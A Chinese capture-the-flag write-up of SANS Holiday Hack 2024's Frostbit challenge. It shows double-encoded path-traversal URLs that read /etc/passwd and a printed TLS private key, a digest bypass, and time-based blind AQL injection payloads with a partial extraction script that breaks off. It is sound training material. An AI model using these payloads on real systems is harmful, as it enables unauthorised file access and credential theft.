SANS Holiday Hack 2024:Frostbit终章

利用自定义哈希的弱点和AQL盲注解密好坏孩子名单,并停用Frostbit。

解密好坏孩子名单

提示

Frostbit哈希

Frostbit基础设施可能使用反向代理,在将请求转发给后端之前解析某些URL编码模式。代理可能拒绝它认为无效的请求,因此需要设法让请求正确到达后端。结合相对路径、编码字节以及其他取证材料中的已知值,或许能利用加密库,诱使Frostbit泄露解密文件所需的秘密。

Frostbit开发模式

北极出现了一种名为Frostbit的新勒索软件。它的基础设施看起来像我参与过的代码,但被人修改后用于勒索软件。如果确实是我们的代码,而且开发模式没有关闭,传入额外选项也许能获得更多信息。如果复用了我们的代码或硬件,它可能还会广播MQTT消息。

Frostbit加密

Frostbit似乎使用了多种加密方式。即使去掉TLS,某些传输值仍像是非对称加密的,可能使用了PKI。基础设施也可能用自定义加密来获取勒索软件状态。如果作者复用了我们的加密实现,它可能依赖存在已知漏洞的旧版库。也许可以让服务器透露所使用的加密库。

Frostbit取证

我来自北极网络安全团队。我们构建了强大的EDR,可以捕获进程内存、网络流量和恶意软件样本。它很适合事件响应:用strings从内存中寻找秘密,解密网络流量,并通过strace查看恶意软件的行为和执行的程序。

发现

在.13文件中,我找到了:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc e165f2a68b8f8043a6cfa8043b416ff1e5179e19b1f0c75bd38008581e58a724
SERVER_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 9adb4f3912b54c5aba55862b729bcd83871d52b3f6926cdad40548ad15168cc1
CLIENT_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 2a0b886c69c33861d6ec25d77d13e0675ea4b971f95d9ab2f936ba49c7ada3ff
SERVER_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 0fbed6ea0e91724be67c36f49ede48c7f06261a44fdea6e5f7a4a8c9379e5d51
POST /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466","nonce":""}
'G5{"{

{"digest":"80210560000230008104003000384544","status":"Key Set",POST /api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key

https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544

目前可以确定,勒索软件服务器位于api.frostbit.app。

nmap扫描结果如下:

b0n3sh@b0n3sh-d3n:~$ nmap 34.173.241.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 01:54 CET
Nmap scan report for 47.241.173.34.bc.googleusercontent.com (34.173.241.47)
Host is up (0.17s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
53/tcp   closed domain
80/tcp   open   http
443/tcp  open   https
3389/tcp closed ms-wbt-server

我想起前面的Santa Vision挑战里有frostbitfeed。其中提供了以下信息:

While good backups are important, they won't prevent frostbite
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
To prevent frostbite, you should wear appropriate clothing and cover exposed skin and ports
Frostbite can occur in as little as 30 minutes in extreme cold - faster in flat networks
Frostbit is a leading cause of network downtime
Additional messages available in santafeed
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
Do you conduct regular frostbite preparedness exercises?

看来可以组合这些请求:

  1. 从内存转储中找到的请求。 api.frostbit.app/api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/key
  2. frostbitfeed中的请求。 Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley 也就是使用那个UUID和停用路径。 https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate

响应从: {"error":"Invalid API Path"} 变成了: {"error":"Invalid Request"}

方向应该没错。现在需要添加authHeader: X-API-Key请求头,并弄清楚从哪里获取X-API-KEY。

这里无法继续推进,于是我回到Wireshark。

使用转储中找到的秘密解密TLS流量:

CLIENT_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc e165f2a68b8f8043a6cfa8043b416ff1e5179e19b1f0c75bd38008581e58a724
SERVER_HANDSHAKE_TRAFFIC_SECRET 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 9adb4f3912b54c5aba55862b729bcd83871d52b3f6926cdad40548ad15168cc1
CLIENT_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 2a0b886c69c33861d6ec25d77d13e0675ea4b971f95d9ab2f936ba49c7ada3ff
SERVER_TRAFFIC_SECRET_0 79e64a5b0f8fa2998be26db47ce492529213f442ad0a99fa07dd279acb69d3bc 0fbed6ea0e91724be67c36f49ede48c7f06261a44fdea6e5f7a4a8c9379e5d51

发现一个发往/api/v1/bot/0769cce0-369a-40c6-8350-870af7e77eb6/session的GET请求,重放后得到了: {"nonce":"c8724d3b36481112"}

我查看了转储中所有发往api.frostbit.app的请求,发现一个不完整的请求: https://api.frostbit.app/view/7FkQe4lGNrTDTvlVbWHQ/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=8021blabla。摘要不完整,于是换成JSON里的值。

这样就进入了面板:

Frostbit挑战截图

源码中有一个script,包含前端使用的解密和停用相关内容,但看起来是服务器传来的常量。 调试模式也没能打开。

其实可以:在/view/<key_id>/status后添加查询参数?debug=true即可。 于是得到了数据:

Frostbit挑战截图

{"uuid": "0769cce0-369a-40c6-8350-870af7e77eb6", "nonce": "REDACTED", "encryptedkey": "REDACTED", "deactivated": false, "etime": 1734998400}

接下来呢?既然有debug=true,也许能主动触发错误来获取信息。

修改路径第一部分status_id_file,没有进展: {"debug":true,"error":"Status Id File Not Found"}

再修改第二部分UUID,也没有进展: {"debug":true,"error":"Invalid UUID Format"}

然后修改摘要,这显然是更合理的目标: 替换一个字符时: {"debug":true,"error":"Invalid Status Id or Digest"} 但删除一个字符时: {"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}

错误提到了FrostBiteHashlib文件,于是我尝试访问它: https://api.frostbit.app/static/FrostBiteHashlib.py

import traceback
import binascii

class Frostbyte128:
    def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
        self.file_bytes = file_bytes
        self.filename_bytes = filename_bytes
        self.filename_bytes_length = len(self.filename_bytes)
        self.nonce_bytes = nonce_bytes
        self.nonce_bytes_length = len(self.nonce_bytes)
        self.hash_length = hash_length
        self.hash_result = self._compute_hash()

    def _compute_hash(self) -> bytes:
        hash_result = bytearray(self.hash_length)
        count = 0

        for i in range(len(self.file_bytes)):
            xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
            hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
            count += 1

        for i in range(len(self.filename_bytes)):
            count_mod = count % self.hash_length
            count_filename_mod = count % self.filename_bytes_length
            count_nonce_mod = count % self.nonce_bytes_length
            xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
            hash_result[count_mod] = hash_result[count_mod] & xrd
            count += 1

        return bytes(hash_result)

    def digest(self) -> bytes:
        """Returns the raw binary hash result."""
        return self.hash_result

    def hexdigest(self) -> str:
        """Returns the hash result as a hexadecimal string."""
        return binascii.hexlify(self.hash_result).decode()

    def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
        """Updates the internal state with new bytes and recomputes the hash."""
        if file_bytes is not None:
            self.file_bytes = file_bytes
        if filename_bytes is not None:
            self.filename_bytes = filename_bytes
        if nonce_bytes is not None:
            self.nonce_bytes = nonce_bytes

        self.hash_result = self._compute_hash()

    def validate(self, hex_string: str):
        """Validates if the provided hex string matches the computed hash."""
        try:
            decoded_bytes = binascii.unhexlify(hex_string)
            if decoded_bytes == self.digest():
                return True, None
        except Exception as e:
            stack_trace = traceback.format_exc()
            return False, f"{stack_trace}"
        return False, None

先暂停解密,试试停用功能。

在已知URL上添加debug=true后,得到{"debug":true,"error":"Invalid Key"}。

听说标识符中存在路径遍历。我按提示尝试了相对路径和编码,但一直没有成功。

直到尝试: /view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=80210560000230008104003000384544&debug=true

双重编码攻击。 得到: {"debug":true,"error":"Invalid Status Id or Digest"} 增加更多编码层数时也会这样。 ../../../etc/passwd是否等价于在etc/passwd前面继续添加更多../? 是的,当然。

https://api.frostbit.app/view/%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf%25cf00000000000000000000000000%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd/0769cce0-369a-40c6-8350-870af7e77eb6/status?digest=00000000000000000000000000000000&debug=true

from binascii import hexlify
file_bytes = b'Welcome to our online Morse Code Audio Decoder, a powerful tool designed to help you decode Morse code messages from audio recordings. With our user-friendly decoder, you can easily convert Morse code audio into readable text and unlock the hidden messages within.'
#file_bytes = b'Although manual decoding of Morse code audio can achieve information conversion to a certain extent, its shortcomings are also obvious. Firstly, Morse code decoding requires specialized knowledge, and not everyone can easily master it. Secondly, the manual decoding process is cumbersome and er'
#file_bytes = bytes.fromhex('ffffffffffffffffffffffffffff')
filename_bytes = b'\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf\xcf0000000000000000000000/../../../../../etc/passwd'
filename_bytes_length = len(filename_bytes)
nonce_bytes = bytes.fromhex('c8724d3b36481112')
nonce_bytes_length = len(nonce_bytes)

hash_length = 16

hash_result = bytearray(hash_length)
count = 0

for i in range(len(file_bytes)):
    xrd = file_bytes[i] ^ nonce_bytes[i % nonce_bytes_length]
    hash_result[count % hash_length] = hash_result[count % hash_length] ^ xrd
    count += 1
print(hexlify(hash_result))

print("=====")
for count in range(32):
    for i in range(len(hash_result)):
        hash_result[i] = 0xff
    #print(hexlify(hash_result))

    for i in range(len(filename_bytes)):
        count_mod = count % hash_length
        count_filename_mod = count % filename_bytes_length
        count_nonce_mod = count % nonce_bytes_length
        xrd = filename_bytes[count_filename_mod] ^ nonce_bytes[count_nonce_mod]
        hash_result[count_mod] = hash_result[count_mod] & xrd
        count += 1

    print(hexlify(hash_result))

我的思路是对的。处理file_bytes的第一个循环完全不受我们控制。整个过程涉及三个值:

  • file_bytes:文件内容,无法控制。
  • filename:文件名,完全可控。
  • nonce:已知,但无法修改。 另外,摘要通过查询参数发送,因此可以按需要调整。

第一个循环不重要。第二个循环遍历文件名,将nonce和文件名做异或,再与结果数组中对应位置的现有值做按位与。

关键就在这里:让xrd变成零,就能把整个数组清零,因为x AND 0永远为零。即使不知道原始位是零还是一,也可以在文件名中使用两组相反的模式。它们分别与nonce异或,再将结果按位与,最终就能消去这些位。

当时的笔记假定哈希和nonce长度为16;实际使用的长度见上面的代码。选择两个位模式相反的字符:h和%2597。记住双重编码,%97表示0x97。

h = 0b

知道如何绕过摘要后,我访问了: https://api.frostbit.app/view/%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597%2597hhhhhhhhhhhhhhhhhhhhh%252f..%252f..%252f..%252f..%252f..%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/a4bb60d0-84da-4f2e-ab94-391781565331/status?digest=00000000000000000000000000000000&debug=true

看到了TLS证书的RSA私钥:

Frostbit挑战截图

-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37
8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4
ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ
xXGgw0t/FqiDglpSF1PFxPvUzJwcJNQhIYQCxRCwHkHqVSnToZcnjJjhgVyXsTNy
5pOLBWqg5nSnXrwl8JfGkUHN/Twbb829rIMT550ZxO8KYH4q/kV3cwVcSYfEYvMJ
JoeQFCgHiuL5EuxAUbO6KZgTnRWhWQmotTQb+fCj8siljg8dIdwxB690LvZYpvv4
yPLYgqCf9PzzgrZPvlJ+XkInJ3s/+DOL0VbCgTHP0gbpO7kdjiTOBS1Jp+FtbCG+
6omvwSg/cELNnsDCs6F1x33iR7tumeQySwNPWNGt6pOHmyGfHYL2Rxhj5S5nCXqx
GCx2q2mH8l4AL5bbzVVxEEa++Fgnd9r24SSC3bvlNVT0CDfBdoKzTuO8RONB4WKN
kbqNj+ME8JDHUA39ld/yqIViGjjAER/NTishk5zk0419AiQpHfOUnCNxq17NZP5K
gLxx7xrTaLdPm0X9aMOcquIPenjrwZfIVpyqZoUn/D0zinoNInok8CFdbD8CAwEA
AQKCAgAAgwz7PZuaqRsuafc9YblXyEqTphiCBGuIhuhul8hnJ2nb0ONKrDx9rk1E
tIizkR8BIqqwonVoxtH9uLKUA0oermwLZFtTqye6CapTBoZ1bXcELlhz+ARBnHyH
DG/rLcM+3YSsxu0AlzN0rIGX5Lnj4jTGuFvlHntmGbLh9QqHJDzZKWmTACqUcTN0
8biM+v4w5Rtq6PQot7vYVRcIBnJpTv2oqyOfRT8Frao9g213JA6xnI8CK9XJ83wx
56kGrinABUxaoKG6s33+XRHTursxKDxJPxzP6NJsgMtU/8kw0lAKghoLcofEfmfe
oUAl7RYwOfdgUdVJFfws3vclPFxAUMNNiJW8Tl/IY6mZ5Pp1Gpi+omBOyYfk9iyM
S8R76afj3d0RhtT0Jii88yFtMBVFLSL8Y0sXEXEMdIXtox7fcb2TlZxXodYJeHJC
0dLQ3b7CB+SPyDj3xZZHEFj4DRXwuCYKlXsaomXL7q9bqL8ljjJqc4WRWCe1+51e
sFP9fUMzuc6lcbHczLhN5dgR+cqriMo8LzrwpNia6DjGyBMfOyPLiN0Z7ZfXrXDv
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n02HTZo+8V0R/cK38NvEDAASKxEsREOTGybKw4B9oCL64sE8RYXOrbYo2MGLC7JL
q08yLrEWCcWCObdDhMbTxYV+J0rSGxiGjiOLGGoWwgKHS1FnrOBdL7bFBqayESji
EqfVNk2VrmlhJKOMWwb2APGL8s4qdQkrHWwptpc+UDJuJHdc6QCsHrHyafahfqwd
aTHpyBRqIK69FmMSBPiSMLxE+1GI2yoy00Z55BEEJjQ1bTG1HdOkrNf5fBf+6WNA
A3dc/2LaDk7Iotl5ZguhlwUQxZzxWhn2X23NVcQJGjJ4s0LwJyzPdi1CUlgA/UyQ
r2UaD0nxYXl5ywKCAQEAuFfQ2pMd0M7C+R7SmfN3765oqGKL+2FwkSgrhUW2aWzl
27SmyVSC0LloGDG6GorrhtLiqmfFGDW+RBpG0aJITGOSbe3N0VH9pSu9buurnvJW
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t7CZXpWtzh2tyY+p3wEIO7e2VWK+6g7TJllwB3mha2A77NuEmJDVPYslsQ5lDroG
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YQVLqWZuCse/349Mk2JBOAYgpC5CxEB1goNDgSAOQC/9A1mdEhqWlFU36immbPfC
KZ6jKEfgf25wJotUgLCB8b9HSqRbVriJcLX6B5UoRXyHLPWKibiMIsvWDNuvl5Hs
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0g7vvwKCAQB1VV/YX9+QcqpjSp0d5HwokMiItQEIZkLyAbGByJeMjwXXTCsE5sfE
9t4s2CnujxHO5RflAtvOxxZt3pPJBxQhmxcu5TglzZw2r5qJqXO5XeIsdxx7sLma
uQL/uki7mtfUzDaiQ6SFEc9skXD5e1RcqxtWsC/OFbc1sossvjzlemTE40mh2LKt
8YM3pbrxfMgs/jmolqlH/U79q04UyZNE7D+JV8HThFRYvi9U0oYPwmh/Luyxktxn
dgsPRwiKhR5/UbnfeT+PMPdyeFqDizzHC5AvxpsmLw7Md4Y1PaJZ0MEvvIoEQGF3
xkh0uaJLiPn7UGYTHlRVv8qMXtOgNzf5AoIBADMC2X5FBjyxv/yTAROg8Dn90Kth
p2PqLDVGeHDL2v0xcyvIthIve3/xGZgtBghfSyMPcqZ5s8h15m+/QNNd95zl7xqF
5DJPoP66w+/wM+W4m/voMQM1kbQSnDqttLzG4TAXrjqklvx0QQAJAkC5X9L39WuE
+uHrkL2DOOn32tcSzic8SHMcZCg6VS/VIXi9C70Xq4pwa5RuFAtV9vBo90vD2m+F
yIHlLUXkLRxFZPPQZNwsACD8YoRPW/w60n2z7BzA5PcIZKNJlZqa9ixBunIxZXII
jd6fDxOeVjU6usKzSeosoQCkEFvhlkVH6EK6Xfh6XDFatAnZyDNVP/PPihI=
-----END RSA PRIVATE KEY-----

通常,通过TLS中的JSON发送的encryptedkey应该经过非对称加密,而CSV则使用该密钥进行对称加密。

解密encryptedkey:

  {"encryptedkey":"54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466","nonce":""}
  1. 提取encryptedkey。
  54bf283c23fe8884944e594681cce96a192d176974a8d18946af314d3d15eb2265d4a3025c185c65dfc70e71f45af30c3205550a21da334d97714bb24284441119678734ce25d26397e651ea2baac2657bf8ff9d448580a3fdb824d6df7258c109bd1795795230fe97aa7f3070c441a7b961584684d67e25157c66ceb083cec7c3d02b8dab124cac55524fc05915549b7d86f3249ffc17cda9b33a4efb6ab5bc108e597e650a1581e087a2da83b599b2c95b4f79468245001f306caae3d595767503718f5cace234b09e30cc35fda837c148745794d57db5bd6281fd9cedda78befdea0af152c90ae28845da7fbb513971c03bb84768d603573d14faa3d11f59f3eb2bcc2d4f394312351ff6b5aa08972a58d11c42a6a2a78e1706d1a61442269b8b7a957a1d0d8678a23d214bdfec218dec835b807dcf5f98fecb2680c48245bc6419a506578faae74649ae45f19b59cb5bc56de6600e878e0e13ff6947050c3f57ef1b7792648d34533a3dbcd9d6e8ebc3ec9884b61c7fd4480d78bc03f86783e70cac8d164cbdb8e4b7f9e984f5c05ba9dabb3daa3a08e33a72e536b503d9ff7905600789992e9b0c8b7c5213f7e7562e9f6f50ff6e2f78c9ed14cd428dcabc9828ca61f957b11121fb0f0e19064d254837bff436897cb4ff9621c73ff7adf5ddb30dd600ef464ef865ec2a85faf3b51ebe447497c1cf997893cb1c142466"
  1. 转换为字节。 $ xxd -p -r "<encryptedkey>" > encryptedkey_bytes.bin
  2. 解密。 $ openssl pkeyutl -in encryptedkey_bytes.bin -inkey pwnkey.pem -decrypt 结果为: 883d240bf58b8c6a149859ce6553ce4e,c8724d3b36481112

这是两个以逗号分隔的值。第二个与nonce一致,说明解密应该正确。

第一个应该就是文件的加密密钥。

使用CyberChef成功了:

Frostbit挑战截图

配置如下:

AES Decrypt
Key(UTF8)=883d240bf58b8c6a149859ce6553ce4e
IV(HEX)=c8724d3b36481112000000000000000
Mode=CBC/NoPadding
Input=Raw
Output=Raw

拿到CSV,找到第440行并提交旗标,完成。

使用openssl时可以这样: openssl enc -aes-256-cbc -d -in naughty_nice_list.csv.frostbit -K "$(echo -n '883d240bf58b8c6a149859ce6553ce4e' | xxd -p -c0)" -iv "00000000000000000000000000000000" 注意xxd添加的额外列,需要传入-c 0。

待办事项

  • 理解如何绕过摘要。
  • 弄清CyberChef解密文件时的IV问题。
  • 查明OpenSSL命令行解密失败的原因。
  • 将双重编码加入Anki。

URL

停止Frostbit发布好坏孩子名单

提示

Frostbit发布功能

一定有办法停用勒索软件服务器的数据发布功能。北极的其他资源也许透露过停用路径。如果找到了,就可能诱使Frostbit基础设施泄露更多细节。

Frostbit休眠

Frostbit作者可能已经限制某些字符、操作及简单的认证绕过,使我们只能进行盲测。因此需要让应用根据输入产生不同响应,再进行测量。如果知道底层存储技术,就可以通过Docker在本地复现,更深入地理解应用,并开发、测试技巧与载荷。

解题过程

Santa Vision提供了这个/deactivate端点:

Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley

发送请求后,密钥当然无效。尝试x-api-key请求头,值为''''ýgUUaý' ýýý时,得到:


{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}

https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate?debug=true

数据库引擎很可能是ArangoDB,使用AQL。

某些字符被阻止,例如/。双重编码也许有效,因为这里的WAF很可能和解密挑战相同。

''会触发超时错误。 但下面这种情况不会: 这很有意思,因为看起来: ' OR 1==1 -- -'中的--似乎正确地注释了后续内容。

不过这条路似乎不对,没有进展。

接下来检查哪些函数被阻止、哪些没有:

被阻止及允许的函数:

====== Blocked =======
STARTS_WITH => Match the value of the attribute that starts with `prefix`
FLATTEN => expands arrays
REMOVE_VALUES => remove values
MERGE => merge documents
MERGE_RECURSIVE => merge documents
TRANSLATE => replace
UNSET => remove attributes
UNSET_RECURSIVE => remove attributes
VALUES  => return values of a document
ZIP => assembly of parameters
FIRST_DOCUMENT  => get first document that matches a criteria
CHECK_DOCUMENT => is it a valid  document
DOCUMENT => lookup document
APPLY => call a function (like exec)
STARTS_WITH => search prefix
IS_DOCUMENT => is document

======== Non blocked =======
HAS
LENGTH
COLLECTIONS
ANALYZER
BOOST
EXISTS
IN_RANGE
MIN_MATCH
MINHASH_MATCH
NGRAM_MATCH
PHRASE
LEVENSHTEIN_MATCH
LIKE
GEO_CONTAINS
GEO_DISTANCE
GEO_IN_RANGE
GEO_INTERSECTS
BM25
TFIDF
OFFSET_INFO
APPEND
CONTAINS_ARRAY
COUNT
COUNT_DISTINCT
COUNT_UNIQUE
FIRST
INTERLEAVE
INTERSECTION
JACCARD
LAST
LENGTH
MINUS
NTH
OUTERSECTION
POP
POSITION
PUSH
REMOVE_NTH
REPLACE_NTH
REMOVE_VALUE
REVERSE
SHIFT
SLICE
SORTED
SORTED_UNIQUE
UNION
UNION_DISTINCT
UNIQUE
UNSHIFT
BIT_AND
BIT_CONSTRUCT
BIT_DECONSTRUCT
BIT_FROM_STRING
BIT_NEGATE
BIT_OR
BIT_POPCOUNT
BIT_SHIFT_LEFT
BIT_SHIFT_RIGHT
BIT_TEST
BIT_TO_STRING
BIT_XOR
ATTRIBUTES
COUNT
HAS
IS_SAME_COLLECTION
KEEP
KEEP_RECURSIVE
KEYS
LENGTH
MATCHES
PARSE_IDENTIFIER
VALUE
FULLTEXT
FIRST_LIST
MIN_MATCH
NOT_NULL
operator
COLLECTION_COUNT
COLLECTIONS
COUNT
CURRENT_DATABASE
CURRENT_USER
DECODE_REV
LENGTH
SHARD_ID
HASH
MINHASH
MINHASH_COUNT
MINHASH_ERROR
hashing
CALL
WARN
IN_RANGE
PREGEL_RESULT
FAIL
NOEVAL
PASSTHRU
SCHEMA_GET
SCHEMA_VALIDATE
SLEEP
V8
VERSION
CHAR_LENGTH
CONCAT
CONCAT_SEPARATOR
CONTAINS
COUNT
CRC32
ENCODE_URI_COMPONENT
FIND_FIRST
FIND_LAST
FNV64
IPV4_FROM_NUMBER
IPV4_TO_NUMBER
IS_IPV4
JSON_PARSE
JSON_STRINGIFY
LEFT
LENGTH
LEVENSHTEIN_DISTANCE
LIKE
LOWER
LTRIM
MD5
NGRAM_POSITIONAL_SIMILARITY
NGRAM_SIMILARITY
RANDOM_TOKEN
REGEX_MATCHES
REGEX_SPLIT
REGEX_TEST
REGEX_REPLACE
REVERSE
RIGHT
RTRIM
SHA1
SHA512
SOUNDEX
SPLIT
SUBSTITUTE
SUBSTRING
SUBSTRING_BYTES
TOKENS
TO_BASE64
TO_HEX
TRIM
UPPER
UUID
TO_BOOL
TO_NUMBER
TO_STRING
TO_ARRAY
TO_LIST
IS_NULL
IS_BOOL
IS_NUMBER
IS_STRING
IS_ARRAY
IS_LIST
IS_OBJECT
IS_DATESTRING
IS_IPV4
IS_KEY
TYPENAME

下面的查询似乎值得尝试: ' AND '1'=='2 ' AND '1'=='1

但结果完全一样。

X-Api-Key: ’ + CONCAT(‘RE’, ‘TURN doc’) —

Priority: u=0, i X-Api-Key: ’ OR (FOR i IN CONCATENATE(“RAN”, “GE” (1, 10000000) CONCATENATE(“RE”, “TURN) i) —/

X-Api-Key: test’|| 1==1 CONCAT(“RE”, “TURN”) {‘role’: ‘admin’ } %252F%252F

例如使用a'--',查询应该类似这样:

FOR doc IN config
FILTER doc.<key_name_omitted> == 'user_supplied_x_api_key'
<other_query_lines_omitted>
RETURN doc
FOR doc IN config
FILTER doc.<key_name_omitted> == 'a' --''
<other_query_lines_omitted>
RETURN doc

折腾了一段时间后,我得到一个提示:测试这种情况最好使用延迟。

于是尝试: lala' OR (1==1 AND SLEEP(10))OR '会暂停一段时间,然后返回超时错误。不知道为什么,似乎最多只等两三秒。 lala' OR (1==2 AND SLEEP(10))OR '则返回密钥无效。

接着这样验证: lala' OR (LENGTH(doc._key) == 6 AND SLEEP(10)) OR ' 由此可以推断,文档的_key属性长度为6。

现在寻找能用来推断API密钥值的函数。 我写了一个Python脚本来提取:

Frostbit挑战截图

成功了:

Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'e' AND SLEEP(10)) OR '"} (current password = confi)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'f' AND SLEEP(10)) OR '"} (current password = confi)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 5, 1) == 'g' AND SLEEP(10)) OR '"} (current password = confi)


{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n    FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n    <other_query_lines_omitted>\n    RETURN doc"}



Found one more char : configg, current password = config
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 6, 1) == 'h' AND SLEEP(10)) OR '"} (current password = config)
Going with f{'x-api-key': "lala' OR (SUBSTRING(doc._key, 6, 1) == 'i' AND SLEEP(10)) OR '"} (current password = config)

属性值是_key=config。现在可以获取文档属性,排除_key等系统属性,找到目标属性,然后用同样的方法提取它的值。

过了一会儿,得到了:

Frostbit挑战截图

目标属性名为deactivate_api_key。

通过二分查找确定其值的长度:

X-Api-Key: lala' OR (LENGTH(doc.deactivate_api_key) == 36 AND SLEEP(10))OR '

长度为36,于是更新脚本:

import requests
import string

key=''
u='https://api.frostbit.app/api/v1/frostbitadmin/bot/0769cce0-369a-40c6-8350-870af7e77eb6/deactivate?debug=true'
count = 0

while count < 36:
  for c in string.printable:
